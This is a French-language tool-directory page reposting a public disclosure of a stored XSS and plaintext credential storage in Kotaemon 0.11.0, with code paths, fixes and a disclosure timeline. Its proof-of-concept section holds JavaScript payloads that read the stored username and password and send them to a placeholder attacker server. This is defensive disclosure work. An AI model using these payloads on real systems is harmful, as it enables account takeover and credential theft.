Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Kotaemon-CVE-2025-56526-56527-disclosure — Divulgation publique pour CVE-2025-56526 et CVE-2025-56527 — XSS stocké via le rendu non assaini de contenu PDF et exposition d'identifiants en clair dans Kotaemon 0.11.0. Comprend une analyse technique complète, un PoC, une évaluation de l'impact et une chronologie de divulgation responsable. | Kitploit
Outils/GitHubGitHub/hantul/kotaemon-cve-2025-56526-56527-disclosure
Outils de PhishingAnalyse des VulnérabilitésExploitationExploitation d'Applications WebExfiltration de DonnéesSécurité WebArticles et RechercheApprentissage et Éducation

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Divulgation publique pour CVE-2025-56526 et CVE-2025-56527 — XSS stocké via le rendu non assaini de contenu PDF et exposition d'identifiants en clair dans Kotaemon 0.11.0. Comprend une analyse technique complète, un PoC, une évaluation de l'impact et une chronologie de divulgation responsable.

GitHub
hantul/kotaemon-cve-2025-56526-56527-disclosure

Kotaemon-CVE-2025-56526-56527-disclosure

Voir le dépôt
14il y a 9 moisPas encore vérifié
Partager

Kotaemon CVE-2025-56526 et CVE-2025-56527 : divulgation publique

Le Cross-Site Scripting stocké dans le panneau d'information de Kotaemon se combine au stockage d'identifiants en clair dans localStorage, permettant la compromission complète de la session à partir d'un simple PDF malveillant téléversé.

Résumé exécutif

  • Produit / versions concernés : Kotaemon <= 0.11.0 (y compris le commit 37cdc28)
  • Vulnérabilités :
    • CVE-2025-56526 – XSS stocké via le rendu non assaini du contenu PDF
    • CVE-2025-56527 – Stockage du nom d'utilisateur/mot de passe en clair dans localStorage
  • Privilèges requis : utilisateur authentifié disposant des autorisations de téléversement de documents
  • Impact : vol d'identifiants, détournement persistant de session, défiguration de l'interface des sorties LLM, compromission subséquente de la confiance des utilisateurs

Présentation des CVE

Identifiant CVEFaiblesseCWEImpact principal
CVE-2025-56526XSS stocké via HTML dérivé du PDFCWE-79Exécution arbitraire de JavaScript, exfiltration de données
CVE-2025-56527Stockage d'identifiants en clairCWE-922Divulgation d'identifiants, détournement de session

Analyse technique

1. Rendu non assaini du contenu PDF (XSS stocké)

Les résultats de l'extraction PDF (texte, balisage de tableaux, métadonnées d'images) sont injectés dans le DOM sans échappement. Un PDF malveillant peut donc embarquer du HTML/JS arbitraire qui s'exécute à chaque fois que le panneau d'information ou les vues de raisonnement restituent retrieved_content.

Les chemins de code concernés incluent :

  • libs/ktem/ktem/utils/render.py (Render.table, Render.image, Render.collapsible_with_header)
  • libs/ktem/ktem/index/file/ui.py (rendu table / image)
  • libs/ktem/ktem/reasoning/simple.py et libs/ktem/ktem/reasoning/react.py
  • libs/kotaemon/kotaemon/indices/qa/format_context.py

2. Stockage d'identifiants en clair dans localStorage

libs/ktem/ktem/pages/login.py, conjointement avec libs/ktem/ktem/assets/js/main.js, stocke et récupère les identifiants bruts directement depuis localStorage :

root@kitploit:~
setStorage('username', usn);
setStorage('password', pwd);
const username = getStorage('username', '');
const password = getStorage('password', '');

Tout JavaScript exécuté par l'intermédiaire du vecteur XSS peut immédiatement lire ces valeurs, ce qui permet un vol d'identifiants fiable et une prise de contrôle durable du compte.

Preuve de concept

  1. Intégrez la charge utile ci-dessous dans un PDF (par exemple, dans un attribut alt d'une image ou un objet texte) :
root@kitploit:~
 {
  const u = localStorage.getItem('username');
  const p = localStorage.getItem('password');
  if (u && p) {
    new Image().src='https://[ATTACKER-SERVER]?d=' + btoa(`id=${u}&pw=${p}`);
  }
})();
">
  1. Téléversez le PDF et ouvrez-le dans le panneau d'information de Kotaemon. Le script intégré s'exécute dans l'origine de l'application et exfiltre les identifiants.
  2. Une charge utile améliorée vole en outre le contexte de navigation pour faciliter le ciblage :
root@kitploit:~
 {
  const payload = btoa(
    `id=${localStorage.getItem('username')}` +
    `&pw=${localStorage.getItem('password')}` +
    `&url=${location.href}&origin=${location.origin}` +
    `&ua=${navigator.userAgent}`
  );
  new Image().src='https://[ATTACKER-SERVER]?d=' + payload;
})();
">

Impact

  • XSS stocké : du JavaScript arbitraire s'exécute à chaque fois que le PDF malveillant est consulté.
  • Vol d'identifiants : les paires username/password en clair sont exposées à tout script injecté.
  • Détournement persistant de session : les attaquants peuvent réutiliser les identifiants pour usurper l'identité des utilisateurs, accéder aux projets ou empoisonner les sorties LLM.
  • Perte d'intégrité des sorties LLM : les utilisateurs ne peuvent plus faire confiance aux résultats du panneau d'information ou de raisonnement, ce qui permet des chaînes d'ingénierie sociale sophistiquées.

Analyse approfondie de la menace

Kotaemon est souvent déployé dans des environnements locaux ou d'entreprise où les utilisateurs téléversent des documents internes sensibles. Étant donné que le contenu dérivé du PDF est inséré dans le DOM sans assainissement, un attaquant peut dissimuler une charge utile malveillante dans un document professionnel d'apparence normale.

Lorsque la victime téléverse et consulte ce document, le JavaScript caché s'exécute automatiquement, volant les identifiants de localStorage et exposant les journaux de discussion privés ainsi que le contenu des documents.

Bien que le déclencheur semble initié par l'utilisateur, il ne s'agit pas d'un auto-XSS. La cause racine est l'absence d'assainissement côté serveur du HTML extrait des fichiers téléversés, ce qui permet un XSS stocké dans des composants d'interface de confiance.

Par conséquent, un seul PDF malveillant peut conduire à la compromission complète du compte dans des scénarios réalistes d'ingénierie sociale.

Recommandations

  1. Échappez ou assainissez tout le contenu dérivé du PDF avant le rendu (par exemple, html.escape, DOMPurify ou Trusted Types pour les sinks DOM).
  2. Appliquez un pipeline de liste blanche Markdown/HTML afin que seules les balises et attributs approuvés atteignent le navigateur.
  3. Interdisez le stockage côté client d'identifiants bruts ; utilisez plutôt des cookies sécurisés HTTP-only ou des jetons de session à durée de vie courte.
  4. Déployez une CSP (script-src 'self') et Trusted Types pour réduire la surface d'attaque XSS du DOM.
  5. Ajoutez des tests de régression pour les chemins d'ingestion de PDF et définissez une politique de gestion des sorties LLM qui considère le contenu récupéré comme non fiable.

Preuves (screenshots/)

  • PDF malveillant rendu dans le panneau d'information
  • Charge utile HTML injectée via le contenu extrait
  • Outils de développement montrant des nœuds DOM non assainis
  • Identifiants en clair stockés dans localStorage
  • Requête d'exfiltration réseau émise par la charge utile
  • Serveur de l'attaquant recevant des identifiants encodés en base64
  • Charge utile améliorée collectant les métadonnées URL/origin/UA
  • Session/interface résultante contrôlée par l'attaquant

Déclaration de divulgation

Cette divulgation publique suit les pratiques standard de divulgation responsable du secteur :

  • Plus de 90 jours ont été accordés à l'éditeur pour répondre et corriger.
  • De nombreuses relances ont été effectuées sans qu'aucune résolution ni plan de remédiation ne soit fourni.
  • Les identifiants CVE (CVE-2025-56526, CVE-2025-56527) ont été officiellement attribués par MITRE.
  • Un avis final a été envoyé 30 jours avant la divulgation publique.
  • La divulgation publique est désormais lancée pour protéger les utilisateurs finaux et réduire l'exposition aux risques non corrigés.

Recommandations pour les utilisateurs

Les utilisateurs de Kotaemon (<= 0.11.0) devraient tenir compte des points suivants jusqu'à ce qu'un correctif de sécurité soit disponible :

  • Surveillez le dépôt officiel pour les futurs correctifs de sécurité.
  • Évitez de traiter des documents non fiables.

Chronologie de la divulgation

  • 2025-07-14 : rapport de vulnérabilité initial soumis à l'équipe Kotaemon.
  • 2025-08-12 : première relance ; l'éditeur a reconnu être occupé et a demandé un délai.
  • 2025-09-12 : deuxième relance avec rapport détaillé et PoC.
  • 2025-09-13 : dernière relance ; aucune réponse supplémentaire.
  • 2025-10-14 : avis final envoyé indiquant l'intention de divulguer publiquement.
  • 2025-11-14 : divulgation publique des CVE-2025-56526 et CVE-2025-56527.

Crédits et contact

  • Ce rapport a été rédigé par HanTul. (anciennement de l'équipe 404 Not Found 퇴근, 3e promotion de WhiteHat School (WHS3), Corée du Sud).
  • Contact : [email protected]
  • GitHub : @HanTul
Télécharger l’outil